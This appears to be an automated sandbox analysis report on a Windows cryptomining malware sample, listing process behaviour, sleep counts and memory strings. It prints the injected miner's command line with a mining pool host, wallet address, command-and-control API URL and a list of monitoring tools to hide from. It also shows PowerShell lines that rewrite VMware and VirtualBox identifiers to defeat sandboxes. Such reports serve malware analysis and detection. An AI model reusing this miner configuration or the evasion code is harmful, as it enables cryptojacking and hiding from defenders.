Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\dialer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIADAP.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIADAP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIADAP.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Windows\System32\dialer.exe	Code function: OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,FindCloseChangeNotification,CloseHandle,		17_2_00000001400010C0
Source: C:\Windows\System32\dialer.exe	Code function: OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,FindCloseChangeNotification,CloseHandle,		44_2_00000001400010C0

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\dialer.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: dialer.exe, 0000002F.00000003.2470280295.0000025545EAD000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 0000002F.00000003.3053963293.0000025545EA9000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 0000002F.00000002.3605895268.0000025545EAE000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 0000002F.00000003.3054668059.0000025545EAD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: dialer.exe, 0000002F.00000003.2470280295.0000025545EAD000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 0000002F.00000003.3053963293.0000025545EA9000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 0000002F.00000002.3605895268.0000025545EAE000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 0000002F.00000003.3054668059.0000025545EAD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXEC
Source: dialer.exe, 0000002F.00000002.3603906840.0000025545E25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DIALER.EXE--ALGO=RX/0--URL=GULF.MONEROOCEAN.STREAM:10128--USER=4AXNHSYV9A9EMWEHMN6IGQ1ERJGJFGYEBCSX3AZG7AFHQU9CMGFQF77CRFPNFHPUN6HCVKWS4NTOYRXKFSBKFH8P7E5XSLU--PASS=--CPU-MAX-THREADS-HINT=40--CINIT-WINRING=VOEEOIQRJNLA.SYS--CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE,PORTMASTER-START.EXE--CINIT-API=HTTPS://WEA9UFGH438790ATRHJWIUJNGZHE4WA709RTHJCWA9NV8N980AVW.ROAST247.EU.ORG/API/ENDPOINT.PHP--CINIT-VERSION=3.4.0--CINIT-IDLE-WAIT=5--CINIT-IDLE-CPU=100--CINIT-ID=CWZYHCJPGGLTBMJX
Source: dialer.exe, 0000002F.00000002.3603906840.0000025545E25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE,PORTMASTER-START.EXE8
Source: dialer.exe, 0000002F.00000003.2470280295.0000025545EAD000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 0000002F.00000003.3053963293.0000025545EA9000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 0000002F.00000002.3605895268.0000025545EAE000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 0000002F.00000003.3054668059.0000025545EAD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE,PORTMASTER-START.EXEX
Source: dialer.exe, 0000002F.00000002.3603906840.0000025545E25000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 0000002F.00000003.2470280295.0000025545EAD000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 0000002F.00000003.3053963293.0000025545EA9000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 0000002F.00000002.3605895268.0000025545EAE000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 0000002F.00000003.3054668059.0000025545EAD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE,PORTMASTER-START.EXE
Source: dialer.exe, 0000002F.00000002.3603906840.0000025545E25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: T=40 --CINIT-WINRING="VOEEOIQRJNLA.SYS" --CINIT-STEALTH-TARGETS="TASKMGR.EXE,PROCESSHACKER.EXE,P
Source: dialer.exe, 0000002F.00000002.3603906840.0000025545E25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE,PORTMASTER-START.EXE

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Memory allocated: 24D0000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Memory allocated: 1A6B0000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Window / User API: threadDelayed 5847	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Window / User API: threadDelayed 3951	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6046	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3635	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 8444
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 1554
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6952
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2607
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 9965
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 9866
Source: C:\Windows\System32\dialer.exe	Window / User API: threadDelayed 1799
Source: C:\Windows\System32\dialer.exe	Window / User API: threadDelayed 482
Source: C:\Windows\System32\wbem\WMIADAP.exe	Window / User API: threadDelayed 1822
Source: C:\Windows\System32\wbem\WMIADAP.exe	Window / User API: threadDelayed 834

Source: C:\ProgramData\Google\Chrome\updater.exe

Dropped PE file which has not been started: C:\Windows\Temp\voeeoiqrjnla.sys

Jump to dropped file

Source: C:\Windows\System32\lsass.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep			graph_31-14949
Source: C:\Windows\System32\svchost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep			graph_32-14927

Source: C:\Windows\System32\dialer.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_17-480

Source: C:\Windows\SysWOW64\system64x.exe	API coverage: 3.7 %
Source: C:\ProgramData\Google\Chrome\updater.exe	API coverage: 3.0 %
Source: C:\Windows\System32\lsass.exe	API coverage: 6.6 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.1 %
Source: C:\Windows\System32\dialer.exe	API coverage: 1.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.8 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 8.2 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.5 %
Source: C:\Windows\System32\wbem\WMIADAP.exe	API coverage: 7.9 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.8 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.5 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.1 %

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe TID: 1680	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\system64x.exe TID: 1720	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 576	Thread sleep count: 6046 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5680	Thread sleep count: 3635 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3680	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 7400	Thread sleep count: 8444 > 30
Source: C:\Windows\System32\winlogon.exe TID: 7400	Thread sleep time: -8444000s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 7400	Thread sleep count: 1554 > 30
Source: C:\Windows\System32\winlogon.exe TID: 7400	Thread sleep time: -1554000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7460	Thread sleep count: 6952 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7460	Thread sleep count: 2607 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7492	Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 7516	Thread sleep count: 9965 > 30
Source: C:\Windows\System32\lsass.exe TID: 7516	Thread sleep time: -9965000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7524	Thread sleep count: 247 > 30
Source: C:\Windows\System32\svchost.exe TID: 7524	Thread sleep time: -247000s >= -30000s
Source: C:\Windows\System32\dwm.exe TID: 7852	Thread sleep count: 9866 > 30
Source: C:\Windows\System32\dwm.exe TID: 7852	Thread sleep time: -9866000s >= -30000s
Source: C:\Windows\System32\dialer.exe TID: 7676	Thread sleep count: 1799 > 30
Source: C:\Windows\System32\dialer.exe TID: 7676	Thread sleep time: -179900s >= -30000s
Source: C:\Windows\System32\dialer.exe TID: 7808	Thread sleep count: 482 > 30
Source: C:\Windows\System32\dialer.exe TID: 7808	Thread sleep time: -48200s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7864	Thread sleep count: 252 > 30
Source: C:\Windows\System32\svchost.exe TID: 7864	Thread sleep time: -252000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7892	Thread sleep count: 253 > 30
Source: C:\Windows\System32\svchost.exe TID: 7892	Thread sleep time: -253000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7908	Thread sleep count: 87 > 30
Source: C:\Windows\System32\svchost.exe TID: 7908	Thread sleep time: -87000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7916	Thread sleep count: 241 > 30
Source: C:\Windows\System32\svchost.exe TID: 7916	Thread sleep time: -241000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7960	Thread sleep count: 200 > 30
Source: C:\Windows\System32\svchost.exe TID: 7960	Thread sleep time: -200000s >= -30000s
Source: C:\Windows\System32\wbem\WMIADAP.exe TID: 7924	Thread sleep count: 1822 > 30
Source: C:\Windows\System32\wbem\WMIADAP.exe TID: 7392	Thread sleep count: 162 > 30
Source: C:\Windows\System32\wbem\WMIADAP.exe TID: 7392	Thread sleep time: -162000s >= -30000s
Source: C:\Windows\System32\wbem\WMIADAP.exe TID: 7924	Thread sleep count: 834 > 30
Source: C:\Windows\System32\wbem\WMIADAP.exe TID: 7924	Thread sleep count: 218 > 30
Source: C:\Windows\System32\wbem\WMIADAP.exe TID: 7924	Thread sleep count: 134 > 30
Source: C:\Windows\System32\svchost.exe TID: 7968	Thread sleep count: 251 > 30
Source: C:\Windows\System32\svchost.exe TID: 7968	Thread sleep time: -251000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7984	Thread sleep count: 239 > 30
Source: C:\Windows\System32\svchost.exe TID: 7984	Thread sleep time: -239000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7992	Thread sleep count: 245 > 30
Source: C:\Windows\System32\svchost.exe TID: 7992	Thread sleep time: -245000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8000	Thread sleep count: 246 > 30
Source: C:\Windows\System32\svchost.exe TID: 8000	Thread sleep time: -246000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8016	Thread sleep count: 253 > 30
Source: C:\Windows\System32\svchost.exe TID: 8016	Thread sleep time: -253000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8028	Thread sleep count: 241 > 30
Source: C:\Windows\System32\svchost.exe TID: 8028	Thread sleep time: -241000s >= -30000s

Source: C:\Windows\System32\dialer.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\winlogon.exe	Last function: Thread delayed
Source: C:\Windows\System32\winlogon.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\wbem\WMIADAP.exe	Last function: Thread delayed
Source: C:\Windows\System32\wbem\WMIADAP.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed

Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000001E85898DCE0 FindFirstFileExW,	22_2_000001E85898DCE0
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000140AE86DCE0 FindFirstFileExW,	31_2_00000140AE86DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_00000195DD5CDCE0 FindFirstFileExW,	32_2_00000195DD5CDCE0
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000001160CA9DCE0 FindFirstFileExW,	33_2_000001160CA9DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_00000257E10ADCE0 FindFirstFileExW,	48_2_00000257E10ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001F28C93DCE0 FindFirstFileExW,	49_2_000001F28C93DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_000001CA9854DCE0 FindFirstFileExW,	50_2_000001CA9854DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_000001D26531DCE0 FindFirstFileExW,	51_2_000001D26531DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_00000254A27DDCE0 FindFirstFileExW,	52_2_00000254A27DDCE0
Source: C:\Windows\System32\wbem\WMIADAP.exe	Code function: 53_2_0000028708E6DCE0 FindFirstFileExW,	53_2_0000028708E6DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_0000024B87DDDCE0 FindFirstFileExW,	54_2_0000024B87DDDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00000205FD40DCE0 FindFirstFileExW,	55_2_00000205FD40DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000001A2056ADCE0 FindFirstFileExW,	56_2_000001A2056ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_0000018EC1F6DCE0 FindFirstFileExW,	57_2_0000018EC1F6DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_0000025CE3E0DCE0 FindFirstFileExW,	58_2_0000025CE3E0DCE0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: svchost.exe, 00000037.00000003.2529787364.00000205FBEAE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk 2.0 6000c292b65879ff477a6af604113f58PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218E0F40&0&00NTFS
Source: svchost.exe, 00000037.00000003.2520498688.00000205FBA12000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMwareVirtual disk2.06000c292b65879ff477a6af604113f58PCI Slot 32 : Bus 2 : Device 0 : Function 0 : Adapter 0 : Port 0 : Target 0 : LUN 0PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218e0f40&0&00
Source: svchost.exe, 00000037.00000002.3596780543.00000205FAC2B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000037.00000000.2494846918.00000205FAC2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @Microsoft-Windows-Hyper-V-Hypervisor
Source: lsass.exe, 0000001F.00000000.2415028963.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicvssNT SERVICE
Source: svchost.exe, 00000037.00000000.2497015931.00000205FB943000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: svchost.exe, 00000037.00000002.3620440164.00000205FBD08000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>ND
Source: svchost.exe, 00000034.00000000.2470028024.00000254A202B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: zSCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000_0r
Source: svchost.exe, 00000037.00000000.2497015931.00000205FB943000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NECVMWarVMware SATA CD00
Source: svchost.exe, 00000037.00000000.2497015931.00000205FB943000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: LSI_SASVMware Virtual disk 6000c2942fce4d06663969f532e45d1a
Source: dialer.exe, 0000002F.00000002.3603906840.0000025545DE9000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 0000002F.00000002.3603906840.0000025545E42000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000037.00000000.2497360390.00000205FBA00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1a8
Source: dwm.exe, 00000021.00000000.2434430790.0000011607ED0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: PointVMware&P
Source: dwm.exe, 00000021.00000000.2434430790.0000011607ED0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000=
Source: svchost.exe, 00000037.00000003.2520498688.00000205FBA12000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMwareVirtual disk2.06000c2942fce4d06663969f532e45d1aPCI Slot 32 : Bus 2 : Device 0 : Function 0 : Adapter 0 : Port 0 : Target 0 : LUN 0PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218e0f40&0&00
Source: svchost.exe, 00000037.00000000.2497015931.00000205FB943000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: storahciNECVMWarVMware SATA CD00
Source: svchost.exe, 00000037.00000003.2529787364.00000205FBEAE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk 2.0 6000c2942fce4d06663969f532e45d1aPCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218E0F40&0&00NTFS
Source: svchost.exe, 00000037.00000000.2497360390.00000205FBA00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1ap
Source: svchost.exe, 00000037.00000002.3595768053.00000205FABD0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: $value = $pr.Value.replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("VMware Virtual disk", $value).replace("VMware", $value).replace("HARDDISK", "WDC").replace("VIRTUAL_DISK", $value)
Source: svchost.exe, 00000037.00000000.2497015931.00000205FB943000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: LSI_SASVMware Virtual disk 6000c292b65879ff477a6af604113f58
Source: lsass.exe, 0000001F.00000000.2414749450.00000140AD813000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3596610784.00000140AD813000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.2427096829.00000195DD613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.3594547345.00000195DD613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000000.2458947467.000001F28C22B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000002.3595744718.000001F28C22B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000032.00000000.2461762289.000001CA9782A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000032.00000002.3592602441.000001CA9782A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000034.00000000.2470113786.00000254A2043000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.3596359189.00000254A2043000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000037.00000002.3596780543.00000205FAC2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: dwm.exe, 00000021.00000000.2434430790.0000011607ED0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: svchost.exe, 00000037.00000000.2494975014.00000205FAC96000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMCI: Using capabilities (0x1c).
Source: lsass.exe, 0000001F.00000000.2415028963.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicshutdownNT SERVICE
Source: svchost.exe, 00000037.00000002.3595768053.00000205FABD0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: $value = $pr.Value.replace("VEN_80EE", $value).replace("VEN_15AD", $value).replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("82801FB", $value).replace("82441FX", $value).replace("82371SB", $value).replace("OpenHCD", $value).replace("VMWare", $value).replace("VMware", $value)
Source: svchost.exe, 00000037.00000000.2497360390.00000205FBA00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMwareVirtual disk6000c292b65879ff477a6af604113f588
Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2431393895.000000001C7F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW>Mi%SystemRoot%\system32\mswsock.dlllemscorlibSystemEnumMAPSReportingTypeMicrosoft.PowerShell.Cmdletization.GeneratedTypes.MpPreferencevalue__DisabledBasicAdvancedSubmitSamplesConsentTypeAlwaysPromptSendSafeSamplesNeverSendSendAllSamplesDayEverydaySundayMondayTuesdayWednesdayThursdayFridaySaturdayNeverScanTypeQuickScanFullScanScanDirectionBothIncomingOutcoming
Source: svchost.exe, 00000037.00000000.2497015931.00000205FB943000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: nonicNECVMWarVMware SATA CD00
Source: svchost.exe, 00000037.00000000.2497360390.00000205FBA00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1a@
Source: svchost.exe, 00000037.00000002.3615722610.00000205FB933000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: vmcir:m
Source: svchost.exe, 00000037.00000002.3620440164.00000205FBD08000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>GK2SBZ
Source: lsass.exe, 0000001F.00000002.3604819718.00000140AE074000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: svchost.exe, 00000037.00000000.2497015931.00000205FB943000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: nonicVMware Virtual disk 6000c2942fce4d06663969f532e45d1a
